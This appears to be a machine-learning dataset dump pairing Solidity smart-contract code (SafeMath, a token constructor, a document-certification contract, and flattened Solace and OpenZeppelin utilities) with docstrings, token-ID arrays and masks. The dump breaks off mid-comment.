* @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./* @dev Returns the addition of two unsigned integers, with an overflow flag. _Available since v3.4._/* @dev Returns the substraction of two unsigned integers, with an overflow flag. _Available since v3.4._/* @dev Returns the multiplication of two unsigned integers, with an overflow flag. _Available since v3.4._/ Gas optimization: this is cheaper than requiring 'a' not being zero, but the benefit is lost if 'b' is also tested. See: https:github.com/OpenZeppelin/openzeppelin-contracts/pull/522* @dev Returns the division of two unsigned integers, with a division by zero flag. _Available since v3.4._/* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. _Available since v3.4._/* @dev Returns the addition of two unsigned integers, reverting on overflow. Counterpart to Solidity's `+` operator. Requirements: - Addition cannot overflow./* @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). Counterpart to Solidity's `-` operator. Requirements: - Subtraction cannot overflow./* @dev Returns the multiplication of two unsigned integers, reverting on overflow. Counterpart to Solidity's `` operator. Requirements: - Multiplication cannot overflow./* @dev Returns the integer division of two unsigned integers, reverting on division by zero. The result is rounded towards zero. Counterpart to Solidity's `/` operator. Note: this function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting when dividing by zero. Counterpart to Solidity's `%` operator. This function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./* @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative). CAUTION: This function is deprecated because it requires allocating memory for the error message unnecessarily. For custom revert reasons use {trySub}. Counterpart to Solidity's `-` operator. Requirements: - Subtraction cannot overflow./* @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero. The result is rounded towards zero. CAUTION: This function is deprecated because it requires allocating memory for the error message unnecessarily. For custom revert reasons use {tryDiv}. Counterpart to Solidity's `/` operator. Note: this function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero. CAUTION: This function is deprecated because it requires allocating memory for the error message unnecessarily. For custom revert reasons use {tryMod}. Counterpart to Solidity's `%` operator. This function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./
library SafeMathUpgradeable { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol';
9,927,081
[ 1, 24114, 1879, 348, 7953, 560, 1807, 30828, 5295, 598, 3096, 9391, 4271, 18, 27443, 5295, 316, 348, 7953, 560, 2193, 603, 9391, 18, 1220, 848, 17997, 563, 316, 22398, 16, 2724, 5402, 81, 414, 11234, 6750, 716, 392, 9391, 14183, 392, 555, 16, 1492, 353, 326, 4529, 6885, 316, 3551, 1801, 5402, 11987, 8191, 18, 1375, 9890, 10477, 68, 3127, 3485, 333, 509, 89, 608, 635, 15226, 310, 326, 2492, 1347, 392, 1674, 9391, 87, 18, 11637, 333, 5313, 3560, 434, 326, 22893, 5295, 19229, 4174, 392, 7278, 667, 434, 22398, 16, 1427, 518, 1807, 14553, 358, 999, 518, 3712, 18, 19, 225, 2860, 326, 2719, 434, 2795, 9088, 12321, 16, 598, 392, 9391, 2982, 18, 389, 5268, 3241, 331, 23, 18, 24, 6315, 19, 225, 2860, 326, 2373, 1128, 434, 2795, 9088, 12321, 16, 598, 392, 9391, 2982, 18, 389, 5268, 3241, 331, 23, 18, 24, 6315, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 12083, 14060, 10477, 10784, 429, 288, 203, 565, 445, 775, 986, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 3639, 2254, 5034, 276, 273, 279, 397, 324, 31, 203, 3639, 309, 261, 71, 411, 279, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 276, 1769, 203, 565, 289, 203, 203, 565, 445, 775, 1676, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 3639, 309, 261, 70, 405, 279, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 279, 300, 324, 1769, 203, 565, 289, 203, 203, 565, 445, 775, 27860, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 3639, 309, 261, 69, 422, 374, 13, 327, 261, 3767, 16, 374, 1769, 203, 3639, 2254, 5034, 276, 273, 279, 380, 324, 31, 203, 3639, 309, 261, 71, 342, 279, 480, 324, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 276, 1769, 203, 565, 289, 203, 203, 565, 445, 775, 7244, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 6430, 16, 2254, 5034, 13, 288, 203, 3639, 309, 261, 70, 422, 374, 13, 327, 261, 5743, 16, 374, 1769, 203, 3639, 327, 261, 3767, 16, 279, 342, 324, 1769, 203, 565, 289, 203, 203, 565, 445, 775, 1739, 12, 11890, 5034, 2 ]
./full_match/43114/0xD9FF12172803c072a36785DeFea1Aa981A6A0C18/sources/contracts/Tomb.sol
* @notice Constructs the TOMB ERC-20 contract./ Mints 1 TOMB to contract creator for initial pool setup
{ require(_taxRate < 10000, "tax equal or bigger to 100%"); require( _taxCollectorAddress != address(0), "tax collector address must be non-zero address" ); _mint(msg.sender, 1 ether); excludeAddress(address(this)); taxRate = _taxRate; taxCollectorAddress = _taxCollectorAddress; }
4,500,340
[ 1, 13262, 326, 399, 1872, 38, 4232, 39, 17, 3462, 6835, 18, 19, 490, 28142, 404, 399, 1872, 38, 358, 6835, 11784, 364, 2172, 2845, 3875, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 2583, 24899, 8066, 4727, 411, 12619, 16, 315, 8066, 3959, 578, 18983, 358, 2130, 9, 8863, 203, 3639, 2583, 12, 203, 5411, 389, 8066, 7134, 1887, 480, 1758, 12, 20, 3631, 203, 5411, 315, 8066, 8543, 1758, 1297, 506, 1661, 17, 7124, 1758, 6, 203, 3639, 11272, 203, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 404, 225, 2437, 1769, 203, 3639, 4433, 1887, 12, 2867, 12, 2211, 10019, 203, 3639, 5320, 4727, 273, 389, 8066, 4727, 31, 203, 3639, 5320, 7134, 1887, 273, 389, 8066, 7134, 1887, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import './Ownable.sol'; /// @title A Certified Proof Of Existence of Any Document /// @author Manjik Shrestha /// @notice You can use this contract to store hash of your document on blockchain /// @dev takes bytes32 hash and maps it to the callers address and timestamp contract Certifyi is Ownable { mapping (bytes32 => address) public records; mapping (bytes32 => uint256) public timestamps; event LogCertified(bytes32 indexed record, address indexed certifier, uint256 timestamp); /// @notice Stores the given hash in Blockchain /// @dev stores address of function caller and blocks timestamp is stored via mapping and emits LogCertified event /// @param _record Hash of the given document function certify(bytes32 _record) public { bytes32 hash = keccak256(abi.encodePacked(_record)); require(hash != keccak256(""),"input is invalid"); require(records[hash] == address(0),"this record have already been certified"); require(timestamps[hash] == 0,"unexpected error"); records[hash] = msg.sender; timestamps[hash] = block.timestamp; emit LogCertified(hash, msg.sender, block.timestamp); } /// @notice checks if hash already exists on smart contract /// @dev hash the given record and checks if it maps to any address /// @param _record Hash of the given document /// @return bool value explaining whether hash already exists or not function exists(bytes32 _record) view public returns (bool) { bytes32 hash = keccak256(abi.encodePacked(_record)); return records[hash] != address(0); } /// @notice get the certifier of the Document /// @dev checks the address mapped with given parameter /// @param _record Hash of the given document /// @return address of the certifier function getCertifier(bytes32 _record) view public returns (address) { return records[keccak256(abi.encodePacked(_record))]; } /// @notice get the timestamp when document is certified /// @dev checks the timestamp mapped with given parameter /// @param _record Hash of the given document /// @return timestamp of the document certification function getTimestamp(bytes32 _record) view public returns (uint256) { return timestamps[keccak256(abi.encodePacked(_record))]; } /// @notice check whether the function caller certify the given record /// @dev checks whether the hash mapped with address equals msg.sender or not /// @param _record Hash of the given document /// @return bool value explaining whether the given record certified by function caller or not function didCertify(bytes32 _record) view public returns (bool) { return records[keccak256(abi.encodePacked(_record))] == msg.sender; } /// @notice check whether the given address is certifier of given record /// @dev checks whether the hash mapped with given record equals given address /// @param _record Hash of the given document /// @param _certifier Address of document certifier /// @return bool value explaining whether the given record certified by given address or not function isCertifier(bytes32 _record, address _certifier) view public returns (bool) { return records[keccak256(abi.encodePacked(_record))] == _certifier; } /// @dev Recover signer address from a message by using his signature /// @param _hash bytes32 message, the hash is the signed message. What is recovered is the signer address. /// @param _sig bytes signature, the signature is generated using web3.eth.sign() /// @return address that generated _sig by siging the hash function ecrecovery(bytes32 _hash, bytes memory _sig) pure public returns (address) { bytes32 r; bytes32 s; uint8 v; if (_sig.length != 65) { return address(0); } assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) v := and(mload(add(_sig, 65)), 255) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return address(0); } return ecrecover(_hash, v, r, s); } /// @dev checks whether the signer claimed is actually the signer or not /// @param _hash bytes32 message, the hash is the signed message. /// @param _sig bytes signature, the signature is generated using web3.eth.sign() /// @param _signer address of claimed signer of given hash /// @return bool value explaining whether the claimed signer is true or not function ecverify(bytes32 _hash, bytes memory _sig, address _signer) pure public returns (bool) { return _signer == ecrecovery(_hash, _sig); } }
@notice check whether the function caller certify the given record @dev checks whether the hash mapped with address equals msg.sender or not @param _record Hash of the given document @return bool value explaining whether the given record certified by function caller or not
function didCertify(bytes32 _record) view public returns (bool) { return records[keccak256(abi.encodePacked(_record))] == msg.sender; }
12,854,992
[ 1, 1893, 2856, 326, 445, 4894, 3320, 1164, 326, 864, 1409, 225, 4271, 2856, 326, 1651, 5525, 598, 1758, 1606, 1234, 18, 15330, 578, 486, 225, 389, 3366, 2474, 434, 326, 864, 1668, 327, 225, 1426, 460, 22991, 3280, 2856, 326, 864, 1409, 3320, 939, 635, 445, 4894, 578, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 5061, 5461, 1164, 12, 3890, 1578, 389, 3366, 13, 1476, 1071, 1135, 261, 6430, 13, 288, 203, 565, 327, 3853, 63, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 24899, 3366, 3719, 65, 422, 1234, 18, 15330, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-28 */ // SPDX-License-Identifier: GPL-3.0-or-later // Sources flattened with hardhat v2.6.2 https://hardhat.org // File @openzeppelin/contracts/security/[email protected] pragma solidity 0.8.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File @openzeppelin/contracts/utils/structs/[email protected] pragma solidity 0.8.6; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File contracts/interfaces/risk/ICoverageDataProviderV2.sol pragma solidity 0.8.6; /** * @title ICoverageDataProviderV2 * @author solace.fi * @notice Holds underwriting pool amounts in `USD`. Provides information to the [**Risk Manager**](./RiskManager.sol) that is the maximum amount of cover that `Solace` protocol can sell as a coverage. */ interface ICoverageDataProviderV2 { /*************************************** EVENTS ***************************************/ /// @notice Emitted when the underwriting pool is set. event UnderwritingPoolSet(string uwpName, uint256 amount); /// @notice Emitted when underwriting pool is removed. event UnderwritingPoolRemoved(string uwpName); /// @notice Emitted when underwriting pool updater is set. event UwpUpdaterSet(address uwpUpdater); /// @notice Emitted when underwriting pool updater is removed. event UwpUpdaterRemoved(address uwpUpdater); /*************************************** MUTUATOR FUNCTIONS ***************************************/ /** * @notice Resets the underwriting pool balances. * @param uwpNames The underwriting pool values to set. * @param amounts The underwriting pool balances. */ function set(string[] calldata uwpNames, uint256[] calldata amounts) external; /** * @notice Removes the given underwriting pool. * @param uwpNames The underwriting pool names to remove. */ function remove(string[] calldata uwpNames) external; /*************************************** VIEW FUNCTIONS ***************************************/ /** * @notice Returns the balance of the underwriting pool in `USD`. * @param uwpName The underwriting pool name to get balance. * @return amount The balance of the underwriting pool in `USD`. */ function balanceOf(string memory uwpName) external view returns (uint256 amount); /** * @notice Returns underwriting pool name for given index. * @param index The underwriting pool index to get. * @return uwpName The underwriting pool name. */ function poolOf(uint256 index) external view returns (string memory uwpName); /** * @notice Returns if given address is a valid underwriting pool updater. * @param updater The address to check. * @return status True if the address is valid updater. */ function isUpdater(address updater) external view returns (bool status); /** * @notice Returns updater for given index. * @param index The index to get updater. * @return updater The updater address. */ function updaterAt(uint256 index) external view returns (address updater); /** * @notice Returns the length of the updaters. * @return count The updater count. */ function numsOfUpdater() external view returns (uint256 count); /*************************************** GOVERNANCE FUNCTIONS ***************************************/ /** * @notice Sets the underwriting pool bot updater. * @param updater The bot address to set. */ function addUpdater(address updater) external; /** * @notice Sets the underwriting pool bot updater. * @param updater The bot address to set. */ function removeUpdater(address updater) external; } // File contracts/interfaces/utils/IRegistry.sol pragma solidity 0.8.6; /** * @title IRegistry * @author solace.fi * @notice Tracks the contracts of the Solaverse. * * [**Governance**](/docs/protocol/governance) can set the contract addresses and anyone can look them up. * * A key is a unique identifier for each contract. 